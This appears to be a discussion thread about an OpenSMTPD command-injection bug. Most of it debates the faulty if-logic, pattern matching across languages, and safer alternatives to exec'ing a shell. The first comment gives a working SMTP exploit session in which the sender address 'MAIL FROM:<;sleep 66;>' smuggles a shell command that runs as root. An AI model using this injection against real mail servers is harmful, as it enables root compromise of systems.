[zaroth]

This is such a clean and easy to read write-up on how the control flow led to the bug, and how it’s exploited.

Of course, that’s partly because it’s so damn easy to exploit. Here’s what an exploit email actually looks like;

  $ nc 127.0.0.1 25
  220 obsd66.example.org ESMTP OpenSMTPD
  HELO professor.falken
  250 obsd66.example.org Hello professor.falken  [127.0.0.1], pleased to meet you
  MAIL FROM:<;sleep 66;>
  250 2.0.0 O.k
  ...

That executes “sleep 66” as root.

There simply must be a better way to parameterize calls to the MTA that contain remote/attacker provided input than exec’ing a shell. It should not all come down to being “absolutely sure” the input is escaped properly.

[zaroth]

I will add, this bug occurred essentially because of the following logic bug;

  01 if (!A || !B) {
  02   if (!B) {
  03     fix(B);
  04     return 1;
  05   }
  06   return 0;
  07 }
  08 return 1;

It’s interesting to think about the IF on Line 02.

It could have read “if (A)” and that would have been correct, but IMO even better to write out “if (A && !B)” in case anything changes with the surrounding code later.

The problem of course is that “A” and “B” are expensive functions which you don’t want to call twice, and it just is so annoyingly verbose to have to assign booleans and then compare those...

You almost want to be able to write out a truth table based on calling the functions and then handling their return values. A kind of 2D switch statement;

  switch (A, B) {
    case 1,1:
       return 1;
    case 1,0:
       fix(B);
       return 1;
    default:
       return 0;
  }

Does any language support a multi-dimensional switch statement like this?

Hmm, maybe it’s not really any better that way either. The case statements are just not explicit enough.

[zenhack]

Re: the language feature: This is standard in ML-family/typed functional languages (OCaml, Haskell...), and lately has been being adopted by a lot of newer languages, including Rust and Swift.

[gpm]

I feel like the "canonical" example of using pattern matching for nested if statements is fizzbuzz

    fn main() {
        for i in 1..102 {
            match (i % 3 == 0, i % 5 == 0) {
                (true, true) => println!("FizzBuzz"),
                (true, false) => println!("Fizz"),
                (false, true) => println!("Buzz"),
                (false, false) => println!("{}", i)
            }
        }
    }

Not only is it obviously correct, but if you somehow manage to forget a case the compiler will tell you.

[egwynn]

People give me funny looks when I tell them that I wish all languages had exhaustively-checked destructured pattern matching, but I really do think it’s one of the best “advanced” language features around!

[jacobush]

Couldn't you do this with an anonymous function in languages which have those? Which would look like:

    {
        if A && B return println("FizzBuss");
        if A && !B return println("Fizz");
        if !A && B return println("Buzz");
        if !A && !B return println("{}", i);
    }

[Hello71]

that just seems to being us back to the problem of not wanting to re-evaluate the functions...

[hermitdev]

Pattern matching has been added in C# 8.0. See: https://docs.microsoft.com/en-us/dotnet/csharp/pattern-match...

[magicalhippo]

While it might be annoying to use local variables, I usually find it's superior when debugging. It allows you to easily inspect the value and modify it before going forwards.

It also usually helps to make the code more self-documenting

[zenhack]

It's definitely easier to deal with when using a debugger. But that brings a question to my mind: Why are there so many debuggers that make inspecting the results of intermediate expressions difficult? I should be able to step through my code at a finer granularity than a statement.

Re: self-documenting, certainly sometimes (I mean, you shouldn't play code golf...), but in this case the code in question was:

    2218         if (!valid_localpart(maddr->user) ||
    2219             !valid_domainpart(maddr->domain)) {
    ....
    2234                 return (0);
    2235         }
    2236
    2237         return (1);

It's not obvious to me what you would name the intermediate booleans that would be more self-documenting than the function names used there.

[loeg]

C supports the following, which is short, correct, and easy to understand:

  save_A = A;
  save_B = B;
  if (!A)
    fix(A);
  if (!B)
    fix(B);
  return (some_expression of save_A and save_B);

[enedil]

That's an odd example, but you can do it in OCaml:

match (a, b) with | (1, 1) -> 1 | (1, 0) -> (fix b); 1 | _ -> 0

[hedora]

In C:

switch (!!a) & ((!!b) < 1) { case 3: return 1; case 1: fix_b(); return 1; default: return 0; }

If you rewrite 3 as “A & B”, this turns into feature flags, and is less crazy looking (not sure arithmetic is allowed in case statements though).

Better (regardless of language) is flow like this:

if (!b) fix_b(); return a && b;

[bawolff]

Well the messed up if logic is definitely a cause, i think part of the cause is the pattern of just validating input is safe instead of validating input at ingestion time and escaping just before output (shell out) time. I think doing both is a much more secure pattern*

*easy to sit here and armchair make claims of course. I've also only read this post and not the actual code so maybe there is reason for doing it how they did.

I'd add for writing the fix domain logic, probably most clear to fix it in one step, and then do the validation as a second step, instead of mixing the two. Minisculey less efficient but its much easier to follow if fixing and validating logic aren't mixed together.

[asveikau]

Or it could pass argv directly to the execve() family instead of relying on the shell to process arguments. (They effectively do exec on sh -c 'cmd')

I am going to guess they will be smart enough to redesign this for the next major release, and the current patch is just that, a patch for the old design.

[beagle3]

As pointed out in other responses, that's easily down with destructuring and matches in other languages, and even using a regular "case" by building the bits into a number (since the questions have boolean answers in this case).

However, as you yourself hinted, the cost (in C anyway) is giving up the short circuit - which might be expensive, or worse - might have unwanted side effects.

I'm not aware of a common language construct that would switch/match on both A and B, but defer executing B unless its value is actually needed.

[wbl]

Haskell would due to lazy evaluation.

[beagle3]

Is it guaranteed to be lazy (in this specifically useful way)? Or is it just not guaranteed to be eager?

[some1else]

I usually try to flatten the branches, using `else if` when a `switch` statement isn't viable.

  if (A && B) {
    return 1
  else if (A && !B) {
    fix(B)
    return 1
  else {
    return 0
  }

[nitrogen]

You could do that in C by shifting the bools to make a bitfield.

[aaron_m04]

Also, you may want to add that when it's patched, the response to the MAIL FROM command is:

    553 5.1.0 Sender address syntax error

[aaron_m04]

I tried this on my smtpd but I couldn't make it create a file. At what point would the command get executed?